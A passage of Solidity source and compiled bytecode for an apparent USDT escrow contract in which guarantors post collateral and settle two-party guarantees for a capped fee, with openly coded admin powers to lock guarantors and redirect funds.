returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } struct GuarantorInfo { string name; string telegramId; string description; uint256 collateral; uint256 processingGuaranteeAmount; } abstract contract Guarantor is Pausable { address public admin; enum GuarantorState {notLocked, locked} uint256 public guarantorIndex; address[] public guarantors; mapping(address => uint256) public guarantorIndexOfOwner; mapping(uint256 => GuarantorState) public guarantorStates; mapping(uint256 => GuarantorInfo) public guarantorInfos; constructor() { admin = msg.sender; guarantors.push(address(0)); guarantorIndex = 1; } modifier onlyAdmin(){ require(msg.sender == admin, "only admin"); _; } modifier onlyGuarantorSelf(uint256 _guarantorIndex){ require(guarantors[_guarantorIndex] == msg.sender, "msg.sender should be the guarantor of guarantorIndex"); _; } modifier onlyNotProcessingGuaranteeAmount(uint256 _guarantorIndex){ require(guarantorInfos[_guarantorIndex].processingGuaranteeAmount == 0, "Only not processing guarantee amount"); _; } modifier onlyNotRegistered(){ require(guarantorIndexOfOwner[msg.sender] == 0, "The address of msg.sender is already registered"); _; } modifier onlyLocked(uint256 _guarantorIndex){ require(guarantorStates[_guarantorIndex] == GuarantorState.locked, "The state of guarantor is not locked"); _; } modifier onlyNotLocked(uint256 _guarantorIndex){ require(guarantorStates[_guarantorIndex] == GuarantorState.notLocked, "The state of guarantor is locked"); _; } event GuarantorRegister(uint256 indexed guarantorIndex, address guarantor, uint256 timestamp); event GuarantorDeposit(uint256 indexed guarantorIndex, address from, uint256 amount, uint256 timestamp); event GuarantorWithdraw(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp); // admin event LockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp); event UnlockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp); event InterveneCollateral(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp); function _processDeposit(uint256 amount) internal virtual; function _processWithdraw(address to, uint256 amount) internal virtual; function guarantorRegister(uint256 _collateralAmount, string calldata _name, string calldata _telegramId, string calldata _description) external payable whenNotPaused onlyNotRegistered { require(_collateralAmount > 0, "Registering amount should not be zero"); _processDeposit(_collateralAmount); guarantors.push(msg.sender); guarantorIndexOfOwner[msg.sender] = guarantorIndex; guarantorStates[guarantorIndex] = GuarantorState.notLocked; GuarantorInfo memory newGuarantorInfo = GuarantorInfo({ name: _name, telegramId: _telegramId, description: _description, collateral: _collateralAmount, processingGuaranteeAmount: 0 }); guarantorInfos[guarantorIndex] = newGuarantorInfo; emit GuarantorRegister(guarantorIndex, msg.sender, block.timestamp); emit GuarantorDeposit(guarantorIndex, msg.sender, _collateralAmount, block.timestamp); guarantorIndex++; } function updateInfo(uint256 _guarantorIndex, string calldata _name, string calldata _telegramId, string calldata _description) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { guarantorInfos[_guarantorIndex].name = _name; guarantorInfos[_guarantorIndex].telegramId = _telegramId; guarantorInfos[_guarantorIndex].description = _description; } function guarantorDeposit(uint256 _guarantorIndex, uint256 _amount) external payable whenNotPaused { _processDeposit(_amount); guarantorInfos[_guarantorIndex].collateral += _amount; emit GuarantorDeposit(_guarantorIndex, msg.sender, _amount, block.timestamp); } function guarantorWithdraw( uint256 _guarantorIndex, address _to, uint256 _amount ) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotProcessingGuaranteeAmount(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund."); _processWithdraw(_to, _amount); guarantorInfos[_guarantorIndex].collateral -= _amount; emit GuarantorWithdraw(_guarantorIndex, _to, _amount, block.timestamp); } function lockGuarantor(uint256 _guarantorIndex) external onlyAdmin { guarantorStates[_guarantorIndex] = GuarantorState.locked; emit LockGuarantor(_guarantorIndex, block.timestamp); } function unlockGuarantor(uint256 _guarantorIndex) external onlyAdmin { guarantorStates[_guarantorIndex] = GuarantorState.notLocked; emit UnlockGuarantor(_guarantorIndex, block.timestamp); } function collateralIntervene(uint256 _guarantorIndex, address _to, uint256 _amount) external onlyAdmin onlyLocked(_guarantorIndex) { require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund."); _processWithdraw(_to, _amount); guarantorInfos[_guarantorIndex].collateral -= _amount; emit InterveneCollateral(_guarantorIndex, _to, _amount, block.timestamp); } function changeAdmin(address nextAdmin) external onlyAdmin { admin = nextAdmin; } function pause() external onlyAdmin { _pause(); } function unpause() external onlyAdmin { _unpause(); } } struct GuaranteeInfo { uint256 guarantorIndex; address demandA; address demandB; uint256 fund; uint32 feePercentLimit; string content; } abstract contract Guarantee is Guarantor { uint256 public guaranteeIndex; GuaranteeInfo[] public guarantees; constructor() Guarantor() { guaranteeIndex = 1; guarantees.push(GuaranteeInfo({ guarantorIndex: 0, demandA: address(0), demandB: address(0), fund: 0, feePercentLimit: 0, content: "" })); } event GuaranteeRegister(uint256 indexed guaranteeIndex, uint256 guarantorIndex, address demandA, address demandB, uint32 feePercentLimit, string content, uint256 timestamp); event GuaranteeDeposit(uint256 indexed guaranteeIndex, address from, uint256 amount, uint256 timestamp); event GuaranteeWithdraw(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp); event InterveneGuarantee(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp); function guaranteeRegister( uint256 _guarantorIndex, address _demandA, address _demandB, uint32 _feePercentLimit, string calldata _content ) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(_feePercentLimit > 0 && _feePercentLimit < 100, "Invalid fee percent limit"); guarantees.push(GuaranteeInfo({ guarantorIndex: _guarantorIndex, demandA: _demandA, demandB: _demandB, fund: 0, feePercentLimit: _feePercentLimit, content: _content })); emit GuaranteeRegister(guaranteeIndex, _guarantorIndex, _demandA, _demandB, _feePercentLimit, _content, block.timestamp); guaranteeIndex++; } function guaranteeDeposit(uint256 _guaranteeIndex, uint256 _amount) external payable whenNotPaused { require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index"); guarantees[_guaranteeIndex].fund += _amount; guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount += _amount; _processDeposit(_amount); emit GuaranteeDeposit(_guaranteeIndex, msg.sender, _amount, block.timestamp); } function guaranteeWithdraw( uint256 _guaranteeIndex, uint256 _guarantorIndex, uint256 _amountToA, uint256 _amountToB, uint32 _feePercent, string calldata _info ) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex, "Invalid guarantor index"); require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund"); require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent"); uint256 processingAmount = _amountToA + _amountToB; guarantees[_guaranteeIndex].fund -= processingAmount; uint256 feeA = _amountToA * uint256(_feePercent) / 100; uint256 feeB = _amountToB * uint256(_feePercent) / 100; guarantorInfos[_guarantorIndex].processingGuaranteeAmount -= processingAmount; _processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA); _processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB); _processWithdraw(msg.sender, feeA + feeB); emit GuaranteeWithdraw(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp); } function interveneGuarantee( uint256 _guaranteeIndex, uint256 _amountToA, uint256 _amountToB, uint32 _feePercent, string calldata _info ) external onlyAdmin { require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index"); require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund"); require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent"); uint256 processingAmount = _amountToA + _amountToB; guarantees[_guaranteeIndex].fund -= processingAmount; uint256 feeA = _amountToA * uint256(_feePercent) / 100; uint256 feeB = _amountToB * uint256(_feePercent) / 100; guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount -= processingAmount; _processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA); _processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB); _processWithdraw(msg.sender, feeA + feeB); emit InterveneGuarantee(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp); } function guaranteeIndexesOfDemand(address _demand) external view returns(uint256[] memory guaranteeIndexes) { uint256 guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){ guaranteeCount++; } } uint256[] memory result = new uint256[](guaranteeCount); guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){ result[guaranteeCount++] = _guaranteeIndex; } } return result; } function guaranteeIndexesOfGuarantor(uint256 _guarantorIndex) external view returns(uint256[] memory guaranteeIndexes) { uint256 guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){ guaranteeCount++; } } uint256[] memory result = new uint256[](guaranteeCount); guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){ result[guaranteeCount++] = _guaranteeIndex; } } return result; } } contract USDTGuarantee is Guarantee { using SafeERC20 for IERC20; IERC20 public token; constructor() Guarantee() { token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); } function _processDeposit(uint256 amount) internal override { require(msg.value == 0, "ETH value is supposed to be 0 for ERC20 instance"); token.safeTransferFrom(msg.sender, address(this), amount); } function _processWithdraw(address to, uint256 amount) internal override { token.safeTransfer(to, amount); } }
0x6080604052600436106101805760003560e01c80638456cb59116100d1578063b1f1d7351161008a578063df754f1111610064578063df754f1114610437578063ecb386a614610469578063f851a44014610496578063fc0c546a146104ab57610180565b8063b1f1d735146103e4578063bf24088d14610404578063d6f5b6401461042457610180565b80638456cb5914610338578063897199d11461034d5780638a917da5146103605780638cf44f22146103915780638f283970146103b1578063a76a2458146103d157610180565b8063416061ce1161013e5780635c975abb116101185780635c975abb146102b65780635f1b89f4146102d85780637569f4b8146102f85780637598a4d31461031857610180565b8063416061ce14610249578063440f954d14610276578063535af9021461029657610180565b80625b0732146101855780630208c718146101a75780631e1163ad146101d25780632075be11146101f25780632d739834146102075780633f4ba83a14610234575b600080fd5b34801561019157600080fd5b506101a56101a036600461248d565b6104c0565b005b3480156101b357600080fd5b506101bc6105fb565b6040516101c99190612c30565b60405180910390f35b3480156101de57600080fd5b506101a56101ed3660046123dc565b610601565b3480156101fe57600080fd5b506101bc610890565b34801561021357600080fd5b506102276102223660046123c4565b610896565b6040516101c9919061271d565b34801561024057600080fd5b506101a56108ab565b34801561025557600080fd5b5061026961026436600461238a565b6108e4565b6040516101c991906126ce565b34801561028257600080fd5b506101a5610291366004612459565b610b0d565b3480156102a257600080fd5b506101a56102b1366004612459565b610c32565b3480156102c257600080fd5b506102cb610ddd565b6040516101c99190612712565b3480156102e457600080fd5b506101a56102f33660046123c4565b610de6565b34801561030457600080fd5b506101a56103133660046125b4565b610e68565b34801561032457600080fd5b506102696103333660046123c4565b61115e565b34801561034457600080fd5b506101a56112b5565b6101a561035b36600461252d565b6112ec565b34801561036c57600080fd5b5061038061037b3660046123c4565b611422565b6040516101c9959493929190612758565b34801561039d57600080fd5b506101a56103ac3660046123c4565b6115e8565b3480156103bd57600080fd5b506101a56103cc36600461238a565b611662565b6101a56103df36600461248d565b6116b9565b3480156103f057600080fd5b506101a56103ff36600461254e565b61195a565b34801561041057600080fd5b506101bc61041f36600461238a565b611cf0565b6101a561043236600461252d565b611d02565b34801561044357600080fd5b506104576104523660046123c4565b611d8c565b6040516101c996959493929190612c39565b34801561047557600080fd5b506104896104843660046123c4565b611e74565b6040516101c9919061265c565b3480156104a257600080fd5b50610489611e9e565b3480156104b757600080fd5b50610489611eb2565b6104c8610ddd565b156104ee5760405162461bcd60e51b81526004016104e590612981565b60405180910390fd5b86336001600160a01b03166002828154811061051a57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161461054c5760405162461bcd60e51b81526004016104e5906129ab565b876000808281526004602052604090205460ff16600181111561057f57634e487b7160e01b600052602160045260246000fd5b1461059c5760405162461bcd60e51b81526004016104e5906127a6565b60008981526005602052604090206105b590898961220b565b5060008981526005602052604090206105d290600101878761220b565b5060008981526005602052604090206105ef90600201858561220b565b50505050505050505050565b60065481565b610609610ddd565b156106265760405162461bcd60e51b81526004016104e590612981565b85336001600160a01b03166002828154811061065257634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316146106845760405162461bcd60e51b81526004016104e5906129ab565b866000808281526004602052604090205460ff1660018111156106b757634e487b7160e01b600052602160045260246000fd5b146106d45760405162461bcd60e51b81526004016104e5906127a6565b60008563ffffffff161180156106f0575060648563ffffffff16105b61070c5760405162461bcd60e51b81526004016104e5906129ff565b60076040518060c001604052808a8152602001896001600160a01b03168152602001886001600160a01b03168152602001600081526020018763ffffffff16815260200186868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525093909452505083546001818101865594825260209182902084516006909202019081558184015194810180546001600160a01b039687166001600160a01b03199182161790915560408501516002830180549190971691161790945560608301516003850155608083015160048501805463ffffffff90921663ffffffff1990921691909117905560a0830151805193949361082893506005850192919091019061228f565b5050506006547ff41bed2e822524f70cb6d1c1d6b9e372ff6866e9f364abe2fff7bf84ab28358b898989898989426040516108699796959493929190612c8a565b60405180910390a26006805490600061088183612df1565b91905055505050505050505050565b60015481565b60046020526000908152604090205460ff1681565b60005461010090046001600160a01b031633146108da5760405162461bcd60e51b81526004016104e590612917565b6108e2611ec1565b565b6060600060015b6006548110156109b357836001600160a01b03166007828154811061092057634e487b7160e01b600052603260045260246000fd5b60009182526020909120600160069092020101546001600160a01b0316148061098e5750836001600160a01b03166007828154811061096f57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600260069092020101546001600160a01b0316145b156109a1578161099d81612df1565b9250505b806109ab81612df1565b9150506108eb565b5060008167ffffffffffffffff8111156109dd57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610a06578160200160208202803683370190505b5060009250905060015b600654811015610b0357846001600160a01b031660078281548110610a4557634e487b7160e01b600052603260045260246000fd5b60009182526020909120600160069092020101546001600160a01b03161480610ab35750846001600160a01b031660078281548110610a9457634e487b7160e01b600052603260045260246000fd5b60009182526020909120600260069092020101546001600160a01b0316145b15610af157808284610ac481612df1565b955081518110610ae457634e487b7160e01b600052603260045260246000fd5b6020026020010181815250505b80610afb81612df1565b915050610a10565b509150505b919050565b60005461010090046001600160a01b03163314610b3c5760405162461bcd60e51b81526004016104e590612917565b82600160008281526004602052604090205460ff166001811115610b7057634e487b7160e01b600052602160045260246000fd5b14610b8d5760405162461bcd60e51b81526004016104e590612809565b600084815260056020526040902060030154821115610bbe5760405162461bcd60e51b81526004016104e590612ba4565b610bc88383611f2f565b60008481526005602052604081206003018054849290610be9908490612d73565b92505081905550837f70c6460623fac5823f4bff68e80d5c4d20f33e46e536a8d3b95d31204e62e170848442604051610c24939291906126ad565b60405180910390a250505050565b610c3a610ddd565b15610c575760405162461bcd60e51b81526004016104e590612981565b82336001600160a01b031660028281548110610c8357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614610cb55760405162461bcd60e51b81526004016104e5906129ab565b600084815260056020526040902060040154849015610ce65760405162461bcd60e51b81526004016104e590612884565b846000808281526004602052604090205460ff166001811115610d1957634e487b7160e01b600052602160045260246000fd5b14610d365760405162461bcd60e51b81526004016104e5906127a6565b600086815260056020526040902060030154841115610d675760405162461bcd60e51b81526004016104e590612ba4565b610d718585611f2f565b60008681526005602052604081206003018054869290610d92908490612d73565b92505081905550857f49bbea27923b0761cd55a89fe9f9848abe4a7fa775a3862acc7a3f80e69ac9f6868642604051610dcd939291906126ad565b60405180910390a2505050505050565b60005460ff1690565b60005461010090046001600160a01b03163314610e155760405162461bcd60e51b81526004016104e590612917565b60008181526004602052604090819020805460ff191690555181907fc383704ea3af008b2dbb1b60abfc7e8de4c4203efbd79c3b5d61954ae872f63390610e5d904290612c30565b60405180910390a250565b60005461010090046001600160a01b03163314610e975760405162461bcd60e51b81526004016104e590612917565b6006548610610eb85760405162461bcd60e51b81526004016104e590612bf9565b60078681548110610ed957634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600301548486610ef79190612d1c565b1115610f155760405162461bcd60e51b81526004016104e590612b2f565b60078681548110610f3657634e487b7160e01b600052603260045260246000fd5b600091825260209091206004600690920201015463ffffffff9081169084161115610f735760405162461bcd60e51b81526004016104e590612b02565b6000610f7f8587612d1c565b90508060078881548110610fa357634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016003016000828254610fc39190612d73565b90915550600090506064610fdd63ffffffff871689612d54565b610fe79190612d34565b905060006064610ffd63ffffffff881689612d54565b6110079190612d34565b9050826005600060078c8154811061102f57634e487b7160e01b600052603260045260246000fd5b906000526020600020906006020160000154815260200190815260200160002060040160008282546110619190612d73565b925050819055506110b860078a8154811061108c57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600160069092020101546001600160a01b03166110b3848b612d73565b611f2f565b61110360078a815481106110dc57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600260069092020101546001600160a01b03166110b3838a612d73565b611111336110b38385612d1c565b887f259b50a2f96f0e5b44a9cc7a77f52fe3b6967f3f906d44138e66eb482106ece289898989894260405161114b96959493929190612cdd565b60405180910390a2505050505050505050565b6060600060015b6006548110156111c957836007828154811061119157634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016000015414156111b757816111b381612df1565b9250505b806111c181612df1565b915050611165565b5060008167ffffffffffffffff8111156111f357634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561121c578160200160208202803683370190505b5060009250905060015b600654811015610b0357846007828154811061125257634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016000015414156112a35780828461127681612df1565b95508151811061129657634e487b7160e01b600052603260045260246000fd5b6020026020010181815250505b806112ad81612df1565b915050611226565b60005461010090046001600160a01b031633146112e45760405162461bcd60e51b81526004016104e590612917565b6108e2611f4a565b6112f4610ddd565b156113115760405162461bcd60e51b81526004016104e590612981565b60065482106113325760405162461bcd60e51b81526004016104e590612bf9565b806007838154811061135457634e487b7160e01b600052603260045260246000fd5b906000526020600020906006020160030160008282546113749190612d1c565b925050819055508060056000600785815481106113a157634e487b7160e01b600052603260045260246000fd5b906000526020600020906006020160000154815260200190815260200160002060040160008282546113d39190612d1c565b909155506113e2905081611fa5565b817f2d0b9480919f67d09fd9461b856204a743bdca5396c8a049c914d0522a5d5eed338342604051611416939291906126ad565b60405180910390a25050565b60056020526000908152604090208054819061143d90612db6565b80601f016020809104026020016040519081016040528092919081815260200182805461146990612db6565b80156114b65780601f1061148b576101008083540402835291602001916114b6565b820191906000526020600020905b81548152906001019060200180831161149957829003601f168201915b5050505050908060010180546114cb90612db6565b80601f01602080910402602001604051908101604052809291908181526020018280546114f790612db6565b80156115445780601f1061151957610100808354040283529160200191611544565b820191906000526020600020905b81548152906001019060200180831161152757829003601f168201915b50505050509080600201805461155990612db6565b80601f016020809104026020016040519081016040528092919081815260200182805461158590612db6565b80156115d25780601f106115a7576101008083540402835291602001916115d2565b820191906000526020600020905b8154815290600101906020018083116115b557829003601f168201915b5050505050908060030154908060040154905085565b60005461010090046001600160a01b031633146116175760405162461bcd60e51b81526004016104e590612917565b60008181526004602052604090819020805460ff191660011790555181907fec1c5128d8bc35986715479700ced3ba41eeca113928c4dd7d81a9f523ed02b990610e5d904290612c30565b60005461010090046001600160a01b031633146116915760405162461bcd60e51b81526004016104e590612917565b600080546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6116c1610ddd565b156116de5760405162461bcd60e51b81526004016104e590612981565b336000908152600360205260409020541561170b5760405162461bcd60e51b81526004016104e5906128c8565b6000871161172b5760405162461bcd60e51b81526004016104e590612a36565b61173487611fa5565b6002805460018082019092557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b031916339081179091559054600091825260036020908152604080842083905591835260048152818320805460ff19169055815160c0601f8a018390049092028101820190925260a0820188815282918a908a9081908501838280828437600092019190915250505090825250604080516020601f890181900481028201810190925287815291810191908890889081908401838280828437600092019190915250505090825250604080516020601f870181900481028201810190925285815291810191908690869081908401838280828437600092018290525093855250505060208083018c9052604092830182905260015482526005815291902082518051939450849391926118839284929091019061228f565b50602082810151805161189c926001850192019061228f565b50604082015180516118b891600284019160209091019061228f565b5060608201518160030155608082015181600401559050506001547f586a786f3c7134f2d8f003c6b128de4ef78d06ca9ccad2303bf1dbf100f01b493342604051611904929190612694565b60405180910390a26001547ff468c87fba2f3e94eb402751b1e92fe273a4898051e4565ea631cc1a5642e9d4338a42604051611942939291906126ad565b60405180910390a26001805490600061088183612df1565b611962610ddd565b1561197f5760405162461bcd60e51b81526004016104e590612981565b85336001600160a01b0316600282815481106119ab57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316146119dd5760405162461bcd60e51b81526004016104e5906129ab565b866000808281526004602052604090205460ff166001811115611a1057634e487b7160e01b600052602160045260246000fd5b14611a2d5760405162461bcd60e51b81526004016104e5906127a6565b8760078a81548110611a4f57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016000015414611a7e5760405162461bcd60e51b81526004016104e59061284d565b60078981548110611a9f57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600301548688611abd9190612d1c565b1115611adb5760405162461bcd60e51b81526004016104e590612b2f565b60078981548110611afc57634e487b7160e01b600052603260045260246000fd5b600091825260209091206004600690920201015463ffffffff9081169086161115611b395760405162461bcd60e51b81526004016104e590612b02565b6000611b458789612d1c565b90508060078b81548110611b6957634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016003016000828254611b899190612d73565b90915550600090506064611ba363ffffffff89168b612d54565b611bad9190612d34565b905060006064611bc363ffffffff8a168b612d54565b611bcd9190612d34565b905082600560008d81526020019081526020016000206004016000828254611bf59190612d73565b92505081905550611c4760078d81548110611c2057634e487b7160e01b600052603260045260246000fd5b60009182526020909120600160069092020101546001600160a01b03166110b3848d612d73565b611c9260078d81548110611c6b57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600260069092020101546001600160a01b03166110b3838c612d73565b611ca0336110b38385612d1c565b8b7f4c60c68eb97fe76d8917c06d5dd4488efad1b0718d0571b305b3d44fc9a4e6268b8b8b8b8b42604051611cda96959493929190612cdd565b60405180910390a2505050505050505050505050565b60036020526000908152604090205481565b611d0a610ddd565b15611d275760405162461bcd60e51b81526004016104e590612981565b611d3081611fa5565b60008281526005602052604081206003018054839290611d51908490612d1c565b92505081905550817ff468c87fba2f3e94eb402751b1e92fe273a4898051e4565ea631cc1a5642e9d4338342604051611416939291906126ad565b60078181548110611d9c57600080fd5b60009182526020909120600690910201805460018201546002830154600384015460048501546005860180549597506001600160a01b03948516969390941694919363ffffffff9091169291611df190612db6565b80601f0160208091040260200160405190810160405280929190818152602001828054611e1d90612db6565b8015611e6a5780601f10611e3f57610100808354040283529160200191611e6a565b820191906000526020600020905b815481529060010190602001808311611e4d57829003601f168201915b5050505050905086565b60028181548110611e8457600080fd5b6000918252602090912001546001600160a01b0316905081565b60005461010090046001600160a01b031681565b6008546001600160a01b031681565b611ec9610ddd565b611ee55760405162461bcd60e51b81526004016104e5906127db565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611f18611fde565b604051611f25919061265c565b60405180910390a1565b600854611f46906001600160a01b03168383611fe2565b5050565b611f52610ddd565b15611f6f5760405162461bcd60e51b81526004016104e590612981565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611f18611fde565b3415611fc35760405162461bcd60e51b81526004016104e590612a7b565b600854611fdb906001600160a01b031633308461203d565b50565b3390565b6120388363a9059cbb60e01b8484604051602401612001929190612694565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612064565b505050565b61205e846323b872dd60e01b85858560405160240161200193929190612670565b50505050565b60006120b9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166120f39092919063ffffffff16565b80519091501561203857808060200190518101906120d791906123a4565b6120385760405162461bcd60e51b81526004016104e590612b5a565b6060612102848460008561210c565b90505b9392505050565b60608247101561212e5760405162461bcd60e51b81526004016104e59061293b565b612137856121cc565b6121535760405162461bcd60e51b81526004016104e590612acb565b600080866001600160a01b0316858760405161216f9190612640565b60006040518083038185875af1925050503d80600081146121ac576040519150601f19603f3d011682016040523d82523d6000602084013e6121b1565b606091505b50915091506121c18282866121d2565b979650505050505050565b3b151590565b606083156121e1575081612105565b8251156121f15782518084602001fd5b8160405162461bcd60e51b81526004016104e59190612745565b82805461221790612db6565b90600052602060002090601f016020900481019282612239576000855561227f565b82601f106122525782800160ff1982351617855561227f565b8280016001018555821561227f579182015b8281111561227f578235825591602001919060010190612264565b5061228b929150612303565b5090565b82805461229b90612db6565b90600052602060002090601f0160209004810192826122bd576000855561227f565b82601f106122d657805160ff191683800117855561227f565b8280016001018555821561227f579182015b8281111561227f5782518255916020019190600101906122e8565b5b8082111561228b5760008155600101612304565b80356001600160a01b0381168114610b0857600080fd5b60008083601f840112612340578182fd5b50813567ffffffffffffffff811115612357578182fd5b60208301915083602082850101111561236f57600080fd5b9250929050565b803563ffffffff81168114610b0857600080fd5b60006020828403121561239b578081fd5b61210582612318565b6000602082840312156123b5578081fd5b81518015158114612105578182fd5b6000602082840312156123d5578081fd5b5035919050565b60008060008060008060a087890312156123f4578182fd5b8635955061240460208801612318565b945061241260408801612318565b935061242060608801612376565b9250608087013567ffffffffffffffff81111561243b578283fd5b61244789828a0161232f565b979a9699509497509295939492505050565b60008060006060848603121561246d578283fd5b8335925061247d60208501612318565b9150604084013590509250925092565b60008060008060008060006080888a0312156124a7578081fd5b87359650602088013567ffffffffffffffff808211156124c5578283fd5b6124d18b838c0161232f565b909850965060408a01359150808211156124e9578283fd5b6124f58b838c0161232f565b909650945060608a013591508082111561250d578283fd5b5061251a8a828b0161232f565b989b979a50959850939692959293505050565b6000806040838503121561253f578182fd5b50508035926020909101359150565b600080600080600080600060c0888a031215612568578283fd5b8735965060208801359550604088013594506060880135935061258d60808901612376565b925060a088013567ffffffffffffffff8111156125a8578283fd5b61251a8a828b0161232f565b60008060008060008060a087890312156125cc578182fd5b86359550602087013594506040870135935061242060608801612376565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b6000815180845261262c816020860160208601612d8a565b601f01601f19169290920160200192915050565b60008251612652818460208701612d8a565b9190910192915050565b6001600160a01b03919091168